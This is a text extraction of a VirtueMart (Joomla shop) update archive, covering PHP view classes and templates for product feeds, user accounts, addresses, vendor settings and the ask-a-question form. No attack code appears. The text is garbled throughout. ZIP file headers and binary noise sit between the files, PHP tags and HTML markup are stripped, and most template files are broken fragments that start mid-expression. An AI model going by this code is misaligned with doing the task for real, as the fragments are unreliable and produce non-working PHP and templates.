1 and $show_prices == 1) { $description .= $currency->createPriceDiv ('variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $product->prices); if (round ($product->prices['basePriceWithTax'], $currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { $description .= '' . $currency->createPriceDiv ('basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $product->prices) . ""; } if (round ($product->prices['salesPriceWithDiscount'], $currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { $description .= $currency->createPriceDiv ('salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $product->prices); } $description .= $currency->createPriceDiv ('salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $product->prices); $description .= $currency->createPriceDiv ('priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $product->prices); $description .= $currency->createPriceDiv ('discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $product->prices); $description .= $currency->createPriceDiv ('taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $product->prices); $unitPriceDescription = JText::sprintf ('COM_VIRTUEMART_PRODUCT_UNITPRICE', $product->product_unit); $description .= $currency->createPriceDiv ('unitPrice', $unitPriceDescription, $product->prices); } if ($feed_description_type == 'product_s_desc' OR $feed_max_text_length > 0) { $description .= '

          link) . '">' . JText::_ ('COM_VIRTUEMART_FEED_READMORE') . '

          '; } $item = new JFeedItem(); $item->title = $title; $item->link = $product->link; $item->date = $product->created_on; $item->description = '
          ' . $description . '
          '; $item->category = $categoryId; $doc->addItem ($item); } } }PKtl>\Z=Z=Hcom_virtuemart_update/components/com_virtuemart/views/user/view.html.phpnuW+AassignRef('useSSL', $useSSL); $this->assignRef('useXHTML', $useXHTML); VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); $mainframe = JFactory::getApplication(); $pathway = $mainframe->getPathway(); $layoutName = $this->getLayout(); // vmdebug('layout by view '.$layoutName); if (empty($layoutName) or $layoutName == 'default') { $layoutName = JRequest::getWord('layout', 'edit'); if ($layoutName == 'default'){ $layoutName = 'edit'; } $this->setLayout($layoutName); } if (empty($this->fTask)) { $ftask = 'saveUser'; $this->assignRef('fTask', $ftask); } if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); // vmdebug('my layoutname',$layoutName); if ($layoutName == 'login') { parent::display($tpl); return; } if (!class_exists('VirtuemartModelUser')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'user.php'); $this->_model = new VirtuemartModelUser(); // $this->_model->setCurrent(); //without this, the administrator can edit users in the FE, permission is handled in the usermodel, but maybe unsecure? $editor = JFactory::getEditor(); //the cuid is the id of the current user $this->_currentUser = JFactory::getUser(); $this->_cuid = $this->_lists['current_id'] = $this->_currentUser->get('id'); $this->assignRef('userId', $this->_cuid); $this->_userDetails = $this->_model->getUser(); $this->assignRef('userDetails', $this->_userDetails); $address_type = JRequest::getWord('addrtype', 'BT'); $this->assignRef('address_type', $address_type); $new = false; if (JRequest::getInt('new', '0') == 1) { $new = true; } if ($new) { $virtuemart_userinfo_id = 0; } else { $virtuemart_userinfo_id = JRequest::getString('virtuemart_userinfo_id', '0', ''); } $this->assignRef('virtuemart_userinfo_id', $virtuemart_userinfo_id); $userFields = null; if ((strpos($this->fTask, 'cart') || strpos($this->fTask, 'checkout')) && empty($virtuemart_userinfo_id)) { //New Address is filled here with the data of the cart (we are in the cart) if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $fieldtype = $address_type . 'address'; $cart->prepareAddressDataInCart($address_type, $new, $this->_cuid); $userFields = $cart->$fieldtype; $task = JRequest::getWord('task', ''); } else { $userFields = $this->_model->getUserInfoInUserFields($layoutName, $address_type, $virtuemart_userinfo_id); if (!$new && empty($userFields[$virtuemart_userinfo_id])) { $virtuemart_userinfo_id = $this->_model->getBTuserinfo_id(); // vmdebug('Try to get $virtuemart_userinfo_id by type BT', $virtuemart_userinfo_id); } $userFields = $userFields[$virtuemart_userinfo_id]; $task = 'editaddressST'; } $this->assignRef('userFields', $userFields); if ($layoutName == 'edit') { if ($this->_model->getId() == 0 && $this->_cuid == 0) { $button_lbl = JText::_('COM_VIRTUEMART_REGISTER'); } else { $button_lbl = JText::_('COM_VIRTUEMART_SAVE'); } $this->assignRef('button_lbl', $button_lbl); $this->lUser(); $this->shopper($userFields); $this->payment(); $this->lOrderlist(); $this->lVendor(); } $this->_lists['shipTo'] = ShopFunctions::generateStAddressList($this,$this->_model, $task); if ($this->_openTab < 0) { $_paneOffset = array(); } else { if (__VM_USER_USE_SLIDERS) { $_paneOffset = array('startOffset' => $this->_openTab, 'startTransition' => 1, 'allowAllClose' => true); } else { $_paneOffset = array('startOffset' => $this->_openTab); } } $this->assignRef('lists', $this->_lists); $this->assignRef('editor', $editor); $this->assignRef('pane', $pane); if ($layoutName == 'mailregisteruser') { $vendorModel = VmModel::getModel('vendor'); // $vendorModel->setId($this->_userDetails->virtuemart_vendor_id); $vendor = $vendorModel->getVendor(); $this->assignRef('vendor', $vendor); } if ($layoutName == 'editaddress') { $layoutName = 'edit_address'; $this->setLayout($layoutName); } if (!$this->userDetails->JUser->get('id')) { $corefield_title = JText::_('COM_VIRTUEMART_USER_CART_INFO_CREATE_ACCOUNT'); } else { $corefield_title = JText::_('COM_VIRTUEMART_YOUR_ACCOUNT_DETAILS'); } if ((strpos($this->fTask, 'cart') || strpos($this->fTask, 'checkout'))) { $pathway->addItem(JText::_('COM_VIRTUEMART_CART_OVERVIEW'), JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE)); } else { //$pathway->addItem(JText::_('COM_VIRTUEMART_YOUR_ACCOUNT_DETAILS'), JRoute::_('index.php?option=com_virtuemart&view=user&&layout=edit')); } $pathway_text = JText::_('COM_VIRTUEMART_YOUR_ACCOUNT_DETAILS'); if (!$this->userDetails->JUser->get('id')) { if ((strpos($this->fTask, 'cart') || strpos($this->fTask, 'checkout'))) { if ($address_type == 'BT') { $vmfield_title = JText::_('COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_LBL'); } else { $vmfield_title = JText::_('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL'); } } else { if ($address_type == 'BT') { $vmfield_title = JText::_('COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_LBL'); $title = JText::_('COM_VIRTUEMART_REGISTER'); } else { $vmfield_title = JText::_('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL'); } } } else { if ($address_type == 'BT') { $vmfield_title = JText::_('COM_VIRTUEMART_USER_FORM_BILLTO_LBL'); } else { $vmfield_title = JText::_('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL'); } } $add_product_link=""; if(!class_exists('Permissions')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart' . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->isSuperVendor() or Vmconfig::get('multix','none')!=='none' ){ $add_product_link = JRoute::_( 'index.php?option=com_virtuemart&tmpl=component&view=product&view=product&task=edit&virtuemart_product_id=0' ); $add_product_link = $this->linkIcon($add_product_link, 'COM_VIRTUEMART_PRODUCT_ADD_PRODUCT', 'new', false, false, true, true); } $this->assignRef('add_product_link', $add_product_link); $document = JFactory::getDocument(); $document->setTitle($pathway_text); $pathway->additem($pathway_text); $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); $this->assignRef('page_title', $pathway_text); $this->assignRef('corefield_title', $corefield_title); $this->assignRef('vmfield_title', $vmfield_title); shopFunctionsF::setVmTemplate($this, 0, 0, $layoutName); parent::display($tpl); } function payment() { } function lOrderlist() { // Check for existing orders for this user $orders = VmModel::getModel('orders'); if ($this->_model->getId() == 0) { // getOrdersList() returns all orders when no userID is set (admin function), // so explicetly define an empty array when not logged in. $this->_orderList = array(); } else { $this->_orderList = $orders->getOrdersList($this->_model->getId(), true); if (empty($this->currency)) { if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); $this->assignRef('currency', $currency); } } if($this->_orderList){ VmConfig::loadJLang('com_virtuemart_orders',TRUE); } $this->assignRef('orderlist', $this->_orderList); } function shopper($userFields) { // Shopper info if (!class_exists('VirtueMartModelShopperGroup')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'shoppergroup.php'); $_shoppergroup = VirtueMartModelShopperGroup::getShoppergroupById($this->_model->getId()); if (!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if (Permissions::getInstance()->check('admin,storeadmin')) { $shoppergrps = array(); foreach($_shoppergroup as $group){ $shoppergrps[] = $group['virtuemart_shoppergroup_id']; } $this->_lists['shoppergroups'] = ShopFunctions::renderShopperGroupList($shoppergrps); $this->_lists['vendors'] = ShopFunctions::renderVendorList($this->_userDetails->virtuemart_vendor_id); } else { $this->_lists['shoppergroups'] = ''; foreach($_shoppergroup as $group){ $this->_lists['shoppergroups'] .= $group['shopper_group_name'].', '; } $this->_lists['shoppergroups'] = substr($this->_lists['shoppergroups'],0,-2); if (!empty($this->_userDetails->virtuemart_vendor_id)) { $this->_lists['vendors'] = $this->_userDetails->virtuemart_vendor_id; } if (empty($this->_lists['vendors'])) { $this->_lists['vendors'] = JText::_('COM_VIRTUEMART_USER_NOT_A_VENDOR'); // . $_setVendor; } } // Load the required scripts if (count($userFields['scripts']) > 0) { foreach ($userFields['scripts'] as $_script => $_path) { JHTML::script($_script, $_path); } } // Load the required styresheets if (count($userFields['links']) > 0) { foreach ($userFields['links'] as $_link => $_path) { JHTML::stylesheet($_link, $_path); } } } function lUser() { $_groupList = $this->_model->getGroupList(); if (!is_array($_groupList)) { $this->_lists['gid'] = '' . JText::_($_groupList) . ''; } else { $this->_lists['gid'] = JHTML::_('select.genericlist', $_groupList, 'gid', 'size="10"', 'value', 'text', $this->_userDetails->JUser->get('gid')); } if (!class_exists('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $comUserOption = shopFunctionsF::getComUserOption(); $this->_lists['canBlock'] = ($this->_currentUser->authorize($comUserOption, 'block user') && ($this->_model->getId() != $this->_cuid)); // Can't block myself TODO I broke that, please retest if it is working again $this->_lists['canSetMailopt'] = $this->_currentUser->authorize('workflow', 'email_events'); $this->_lists['block'] = JHTML::_('select.booleanlist', 'block', 'class="inputbox"', $this->_userDetails->JUser->get('block'), 'COM_VIRTUEMART_YES', 'COM_VIRTUEMART_NO'); $this->_lists['sendEmail'] = JHTML::_('select.booleanlist', 'sendEmail', 'class="inputbox"', $this->_userDetails->JUser->get('sendEmail'), 'COM_VIRTUEMART_YES', 'COM_VIRTUEMART_NO'); $this->_lists['params'] = $this->_userDetails->JUser->getParameters(true); $this->_lists['custnumber'] = $this->_model->getCustomerNumberById(); //TODO I do not understand for what we have that by Max. if ($this->_model->getId() < 1) { $this->_lists['register_new'] = 1; } else { $this->_lists['register_new'] = 0; } } function lVendor() { // If the current user is a vendor, load the store data if ($this->_userDetails->user_is_vendor) { $front = JURI::root(true).'/components/com_virtuemart/assets/'; $admin = JURI::root(true).'/administrator/components/com_virtuemart/assets/'; $document = JFactory::getDocument(); $document->addScript($front.'js/fancybox/jquery.mousewheel-3.0.4.pack.js'); $document->addScript($front.'js/fancybox/jquery.easing-1.3.pack.js'); $document->addScript($front.'js/fancybox/jquery.fancybox-1.3.4.pack.js'); vmJsApi::js ('jquery-ui', FALSE, '', TRUE); vmJsApi::js ('jquery.ui.autocomplete.html'); vmJsApi::js( 'jquery.noConflict'); $document->addScript($admin.'js/vm2admin.js'); $currencymodel = VmModel::getModel('currency', 'VirtuemartModel'); $currencies = $currencymodel->getCurrencies(); $this->assignRef('currencies', $currencies); if (!$this->_orderList) { $this->lOrderlist(); } $vendorModel = VmModel::getModel('vendor'); if (Vmconfig::get('multix', 'none') === 'none') { $vendorModel->setId(1); } else { $vendorModel->setId($this->_userDetails->virtuemart_vendor_id); } $vendor = $vendorModel->getVendor(); $vendorModel->addImages($vendor); $this->assignRef('vendor', $vendor); } } /* * renderMailLayout * * @author Max Milbers * @author Valerie Isaksen */ public function renderMailLayout($doVendor, $recipient) { $useSSL = VmConfig::get('useSSL', 0); $useXHTML = true; $this->assignRef('useSSL', $useSSL); $this->assignRef('useXHTML', $useXHTML); $userFieldsModel = VmModel::getModel('UserFields'); $userFields = $userFieldsModel->getUserFields(); $this->userFields = $userFieldsModel->getUserFieldsFilled($userFields, $this->user); if (VmConfig::get('order_mail_html')) { $mailFormat = 'html'; $lineSeparator="
          "; } else { $mailFormat = 'raw'; $lineSeparator="\n"; } $virtuemart_vendor_id=1; $vendorModel = VmModel::getModel('vendor'); $vendor = $vendorModel->getVendor($virtuemart_vendor_id); $vendorModel->addImages($vendor); $vendor->vendorFields = $vendorModel->getVendorAddressFields(); $this->assignRef('vendor', $vendor); if (!$doVendor) { $this->subject = JText::sprintf('COM_VIRTUEMART_NEW_SHOPPER_SUBJECT', $this->user->username, $this->vendor->vendor_store_name); $tpl = 'mail_' . $mailFormat . '_reguser'; } else { $this->subject = JText::sprintf('COM_VIRTUEMART_VENDOR_NEW_SHOPPER_SUBJECT', $this->user->username, $this->vendor->vendor_store_name); $tpl = 'mail_' . $mailFormat . '_regvendor'; } $this->assignRef('recipient', $recipient); $this->vendorEmail = $vendorModel->getVendorEmail($this->vendor->virtuemart_vendor_id); $this->layoutName = $tpl; $this->setLayout($tpl); parent::display(); } } //No Closing Tag PKtl>\Ecom_virtuemart_update/components/com_virtuemart/views/user/index.htmlnuW+APKtl>\)Dcom_virtuemart_update/components/com_virtuemart/views/user/.htaccessnuW+A Order allow,deny Deny from all PKtl>\'wZcom_virtuemart_update/components/com_virtuemart/views/user/tmpl/edit_address_addshipto.phpnuW+A
          ' .JText::_('COM_VIRTUEMART_USER_FORM_SHIPTO_LBL').''; ?> lists['shipTo']; ?>
          PKtl>\TD]Hcom_virtuemart_update/components/com_virtuemart/views/user/tmpl/edit.phpnuW+A

          page_title ?>

          userDetails->virtuemart_user_id==0) { echo JText::_('COM_VIRTUEMART_YOUR_ACCOUNT_REG'); }?>

          userDetails->user_is_vendor){ ?>
           
          userDetails->virtuemart_user_id!=0) { $tabarray = array(); if($this->userDetails->user_is_vendor){ if(!empty($this->add_product_link)) { echo $this->add_product_link; } $tabarray['vendor'] = 'COM_VIRTUEMART_VENDOR'; } $tabarray['shopper'] = 'COM_VIRTUEMART_SHOPPER_FORM_LBL'; //$tabarray['user'] = 'COM_VIRTUEMART_USER_FORM_TAB_GENERALINFO'; if (!empty($this->shipto)) { $tabarray['shipto'] = 'COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL'; } if (($_ordcnt = count($this->orderlist)) > 0) { $tabarray['orderlist'] = 'COM_VIRTUEMART_YOUR_ORDERS'; } shopFunctionsF::buildTabs ( $this, $tabarray); } else { echo $this->loadTemplate ( 'shopper' ); } /* * TODO this Stuff should be converted in a payment module. But the idea to show already saved payment information to the user is a good one * So maybe we should place here a method (joomla plugin hook) which loads all published plugins, which already used by the user and display * them. */ // echo $this->pane->startPanel( JText::_('COM_VIRTUEMART_SHOPPER_PAYMENT_FORM_LBL'), 'edit_payment' ); // echo $this->loadTemplate('payment'); // echo $this->pane->endPanel(); // echo $this->pane->startPanel( JText::_('COM_VIRTUEMART_SHOPPER_SHIPMENT_FORM_LBL'), 'edit_shipto' ); // echo $this->loadTemplate('shipto'); // echo $this->pane->endPanel(); // if ($this->shipto !== 0) { // // Note: // // Of the order of the tabs change here, change the startOffset value for // // JPane::getInstance() as well in view.html.php! // echo $this->pane->startPanel( JText::_('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL'), 'edit_shipto' ); // echo $this->loadTemplate('shipto'); // echo $this->pane->endPanel(); // } // if (($_ordcnt = count($this->orderlist)) > 0) { // echo $this->pane->startPanel( JText::_('COM_VIRTUEMART_ORDER_LIST_LBL') . ' (' . $_ordcnt . ')', 'edit_orderlist' ); // echo $this->loadTemplate('orderlist'); // echo $this->pane->endPanel(); // } // if (!empty($this->userDetails->user_is_vendor)) { // echo $this->pane->startPanel( JText::_('COM_VIRTUEMART_VENDOR_MOD'), 'edit_vendor' ); // echo $this->loadTemplate('vendor'); // echo $this->pane->endPanel(); // } // echo $this->pane->endPane(); // captcha addition if(VmConfig::get ('reg_captcha')){ JHTML::_('behavior.framework'); JPluginHelper::importPlugin('captcha'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onInit','dynamic_recaptcha_1'); ?>
          PKtl>\ːaaHcom_virtuemart_update/components/com_virtuemart/views/user/tmpl/edit.xmlnuW+A COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE PKtl>\ Ucom_virtuemart_update/components/com_virtuemart/views/user/tmpl/mail_html_reguser.phpnuW+A'; ?>
          PKtl>\Iݥ""Icom_virtuemart_update/components/com_virtuemart/views/user/tmpl/login.phpnuW+Ashow )) $this->show = TRUE; if (!isset( $this->from_cart )) $this->from_cart = FALSE; if (!isset( $this->order )) $this->order = FALSE ; if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $comUserOption=shopFunctionsF::getComUserOption(); if (empty($this->url)){ $url = vmURI::getCleanUrl(); } else{ $url = $this->url; } $user = JFactory::getUser(); if ($this->show and $user->id == 0 ) { JHtml::_('behavior.formvalidation'); JHTML::_ ( 'behavior.modal' ); //Extra login stuff, systems like openId and plugins HERE if (JPluginHelper::isEnabled('authentication', 'openid')) { $lang = JFactory::getLanguage(); $lang->load('plg_authentication_openid', JPATH_ADMINISTRATOR); $langScript = ' // '; $document = JFactory::getDocument(); $document->addScriptDeclaration($langScript); JHTML::_('script', 'openid.js'); } $html = ''; JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmDisplayLogin', array($this, &$html, $this->from_cart)); if (is_array($html)) { foreach ($html as $login) { echo $login.'
          '; } } else { echo $html; } //end plugins section //anonymous order section if ($this->order ) { ?>



          from_cart ) { ?>

          get('allowUserRegistration')) { ?>
          id ) { ?>
          name ); ?>
          PKtl>\9UwOcom_virtuemart_update/components/com_virtuemart/views/user/tmpl/editaddress.xmlnuW+A COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE PKtl>\\ed d Wcom_virtuemart_update/components/com_virtuemart/views/user/tmpl/mail_html_regvendor.phpnuW+A'; ?>
          PKtl>\)Icom_virtuemart_update/components/com_virtuemart/views/user/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\;kVcom_virtuemart_update/components/com_virtuemart/views/user/tmpl/mail_raw_regvendor.phpnuW+A vendor->vendor_store_name) . $li. $li ?> user->username . $li; ?> user->name . $li. $li; ?> userFields['fields'] as $userField) { if (!empty($userField['value']) && $userField['type'] != 'delimiter' && $userField['type'] != 'BT') { echo $userField['title'] . ' ' . $userField['value'] . $li; } } echo $li; echo JURI::root() . 'index.php?option=com_virtuemart&view=user' . $li; echo $li; //echo JURI::root() . 'index.php?option=com_virtuemart&view=user&virtuemart_user_id=' . $this->_models['user']->_id . ' ' . $li; //echo JURI::root() . 'index.php?option=com_virtuemart&view=vendor&virtuemart_vendor_id=' . $this->vendor->virtuemart_vendor_id . ' ' . $li; ?> PKtl>\Jcom_virtuemart_update/components/com_virtuemart/views/user/tmpl/index.htmlnuW+APKtl>\'A<[Rcom_virtuemart_update/components/com_virtuemart/views/user/tmpl/edit_vmshopper.phpnuW+A
          lists['shoppergroups']) { ?>
          lists['vendors']; ?>
          check('admin')) { ?> lists['custnumber']; } ?>
          lists['shoppergroups']; ?>
          PKtl>\-6Ocom_virtuemart_update/components/com_virtuemart/views/user/tmpl/edit_vendor.phpnuW+A langList; ?>
          :
          :
          :
          :
          : currencies, 'vendor_currency', '', 'virtuemart_currency_id', 'currency_name', $this->vendor->vendor_currency); ?>
          : currencies, 'vendor_accepted_currencies[]', 'size=10 multiple="multiple"', 'virtuemart_currency_id', 'currency_name', $this->vendor->vendor_accepted_currencies); ?>
          vendor->images[0]->displayFilesHandler($this->vendor->virtuemart_media_id,'vendor'); ?>
          editor->display('vendor_store_desc', $this->vendor->vendor_store_desc, '100%', 450, 70, 15)?>
          editor->display('vendor_terms_of_service', $this->vendor->vendor_terms_of_service, '100%', 450, 70, 15)?>
          editor->display('vendor_legal_info', $this->vendor->vendor_legal_info, '100%', 400, 70, 15)?>
          PKtl>\WE[com_virtuemart_update/components/com_virtuemart/views/user/tmpl/edit_address_userfields.phpnuW+AuserFields['fields'] as $field) { if($field['type'] == 'delimiter') { // For Every New Delimiter // We need to close the previous // table and delimiter if($closeDelimiter) { ?>
          PKtl>\xdgppTcom_virtuemart_update/components/com_virtuemart/views/user/tmpl/mail_raw_reguser.phpnuW+Auser->name) . $li . $li; if (!empty($this->activationLink)) { $activationLink = ' orderlist as $i => $row) { $editlink = JRoute::_('index.php?option=com_virtuemart&view=orders&layout=details&order_number=' . $row->order_number); ?> ">
          order_number; ?> created_on); ?> modified_on); ?> order_status); ?> currency->priceDisplay($row->order_total); ?>
          PKtl>\x**Pcom_virtuemart_update/components/com_virtuemart/views/user/tmpl/edit_address.phpnuW+AuserFields['fields']); // Implement Joomla's form validation JHTML::_ ('behavior.formvalidation'); JHTML::stylesheet ('vmpanels.css', JURI::root () . 'components/com_virtuemart/assets/css/'); if ($this->fTask === 'savecartuser') { $rtask = 'registercartuser'; $url = 0; } else { $rtask = 'registercheckoutuser'; $url = JRoute::_('index.php?option=com_virtuemart&view=cart&task=checkout', 0, $this->useSSL); } ?>

          page_title ?>

          address_type == 'BT') { echo JText::_ ('COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_LBL'); } else { echo JText::_ ('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL'); } ?>

          fTask, 'cart') || strpos ($this->fTask, 'checkout')) { $rview = 'cart'; } else { $rview = 'user'; } // echo 'rview = '.$rview; if (strpos ($this->fTask, 'checkout') || $this->address_type == 'ST') { $buttonclass = 'default'; } else { $buttonclass = 'button vm-button-correct'; } if (VmConfig::get ('oncheckout_show_register', 1) && $this->userId == 0 && !VmConfig::get ('oncheckout_only_registered', 0) && $this->address_type == 'BT' and $rview == 'cart') { echo JText::sprintf ('COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER', JText::_ ('COM_VIRTUEMART_REGISTER_AND_CHECKOUT'), JText::_ ('COM_VIRTUEMART_CHECKOUT_AS_GUEST')); } else { //echo JText::_('COM_VIRTUEMART_REGISTER_ACCOUNT'); } if (VmConfig::get ('oncheckout_show_register', 1) && $this->userId == 0 && $this->address_type == 'BT' and $rview == 'cart') { ?>
          trigger('onInit','dynamic_recaptcha_1'); $hide_captcha = (VmConfig::get ('oncheckout_only_registered') or $captcha_visible) ? '' : 'style="display: none;"'; ?>
          >
          userFields['functions']) > 0) { echo '' . "\n"; } echo $this->loadTemplate ('userfields'); ?>
          userDetails->JUser->get ('id')) { echo $this->loadTemplate ('addshipto'); } ?> virtuemart_userinfo_id)) { echo ''; } echo JHTML::_ ('form.token'); ?> PKtl>\0)Pcom_virtuemart_update/components/com_virtuemart/views/user/tmpl/edit_shopper.phpnuW+A userDetails->user_is_vendor){ ?>
           
          userDetails->virtuemart_user_id!=0) { echo $this->loadTemplate('vmshopper'); } ?> loadTemplate('address_userfields'); ?> userDetails->JUser->get('id') ) { echo $this->loadTemplate('address_addshipto'); } ?> virtuemart_userinfo_id)){ echo ''; } ?> PKtl>\iOcom_virtuemart_update/components/com_virtuemart/views/askquestion/view.html.phpnuW+Aredirect(JRoute::_('index.php?option=com_virtuemart','Disabled function')); } $this->login = ''; if(!VmConfig::get('recommend_unauth',false)){ $user = JFactory::getUser(); if($user->guest){ $this->login = shopFunctionsF::getLoginForm(false); //$app->redirect(JRoute::_('index.php?option=com_virtuemart','JGLOBAL_YOU_MUST_LOGIN_FIRST')); } } $show_prices = VmConfig::get ('show_prices', 1); if ($show_prices == '1') { if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } } $this->assignRef ('show_prices', $show_prices); $document = JFactory::getDocument (); $mainframe = JFactory::getApplication (); $pathway = $mainframe->getPathway (); $task = JRequest::getCmd ('task'); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); // Load the product $product_model = VmModel::getModel ('product'); $category_model = VmModel::getModel ('Category'); $virtuemart_product_idArray = JRequest::getInt ('virtuemart_product_id', 0); if (is_array ($virtuemart_product_idArray)) { $virtuemart_product_id = $virtuemart_product_idArray[0]; } else { $virtuemart_product_id = $virtuemart_product_idArray; } if (empty($virtuemart_product_id)) { self::showLastCategory ($tpl); return; } if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } $product = $product_model->getProduct ($virtuemart_product_id); // Set Canonic link $format = JRequest::getWord('format', 'html'); if ($format == 'html') { $document->addHeadLink ($product->canonical, 'canonical', 'rel', ''); } // Set the titles $document->setTitle (JText::sprintf ('COM_VIRTUEMART_PRODUCT_DETAILS_TITLE', $product->product_name . ' - ' . JText::_ ('COM_VIRTUEMART_PRODUCT_ASK_QUESTION'))); $this->assignRef ('product', $product); if (empty($product)) { self::showLastCategory ($tpl); return; } $product_model->addImages ($product, 1); /* Get the category ID */ $virtuemart_category_id = JRequest::getInt ('virtuemart_category_id'); if ($virtuemart_category_id == 0 && !empty($product)) { if (array_key_exists ('0', $product->categories)) { $virtuemart_category_id = $product->categories[0]; } } shopFunctionsF::setLastVisitedCategoryId ($virtuemart_category_id); if ($category_model) { $category = $category_model->getCategory ($virtuemart_category_id); $this->assignRef ('category', $category); $pathway->addItem ($category->category_name, JRoute::_ ('index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $virtuemart_category_id, FALSE)); } //$pathway->addItem(JText::_('COM_VIRTUEMART_PRODUCT_DETAILS'), $uri->toString(array('path', 'query', 'fragment'))); $pathway->addItem ($product->product_name, JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $virtuemart_category_id . '&virtuemart_product_id=' . $product->virtuemart_product_id, FALSE)); // for askquestion $pathway->addItem (JText::_ ('COM_VIRTUEMART_PRODUCT_ASK_QUESTION')); $this->assignRef ('user', JFactory::getUser ()); if ($product->metadesc) { $document->setDescription ($product->metadesc); } if ($product->metakey) { $document->setMetaData ('keywords', $product->metakey); } //We never want that ask a question is indexed $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); if ($mainframe->getCfg ('MetaTitle') == '1') { $document->setMetaData ('title', $product->product_s_desc); //Maybe better product_name } if ($mainframe->getCfg ('MetaAuthor') == '1') { $document->setMetaData ('author', $product->metaauthor); } parent::display ($tpl); } function renderMailLayout () { $this->setLayout ('mail_html_question'); $this->comment = JRequest::getString ('comment'); $user = JFactory::getUser (); if (empty($user->id)) { $fromMail = JRequest::getVar ('email'); //is sanitized then $fromName = JRequest::getVar ('name', ''); //is sanitized then $fromMail = str_replace (array('\'', '"', ',', '%', '*', '/', '\\', '?', '^', '`', '{', '}', '|', '~'), array(''), $fromMail); $fromName = str_replace (array('\'', '"', ',', '%', '*', '/', '\\', '?', '^', '`', '{', '}', '|', '~'), array(''), $fromName); } else { $fromMail = $user->email; $fromName = $user->name; } $vars['user'] = array('name' => $fromName, 'email' => $fromMail); $vendorModel = VmModel::getModel ('vendor'); if(empty($this->vendor)){ $this->vendor = $vendorModel->getVendor (); $this->vendor->vendor_store_name = $fromName; } $vendorModel->addImages ($this->vendor); $virtuemart_product_id = vRequest::getInt ('virtuemart_product_id', 0); $productModel = VmModel::getModel ('product'); if(empty($this->product)){ $this->product = $productModel->getProduct ($virtuemart_product_id); } $productModel->addImages($this->product); $this->subject = Jtext::_ ('COM_VIRTUEMART_QUESTION_ABOUT') . $this->product->product_name; $this->vendorEmail = $this->user['email']; // in this particular case, overwrite the value for fix the recipient name $this->vendor->vendor_name = $this->user['name']; if (VmConfig::get ('order_mail_html')) { $tpl = 'mail_html_question'; } else { $tpl = 'mail_raw_question'; } $this->setLayout ($tpl); parent::display (); } private function showLastCategory ($tpl) { $virtuemart_category_id = shopFunctionsF::getLastVisitedCategoryId (); $categoryLink = ''; if ($virtuemart_category_id) { $categoryLink = '&virtuemart_category_id=' . $virtuemart_category_id; } $continue_link = JRoute::_ ('index.php?option=com_virtuemart&view=category' . $categoryLink, FALSE); $continue_link_html = '
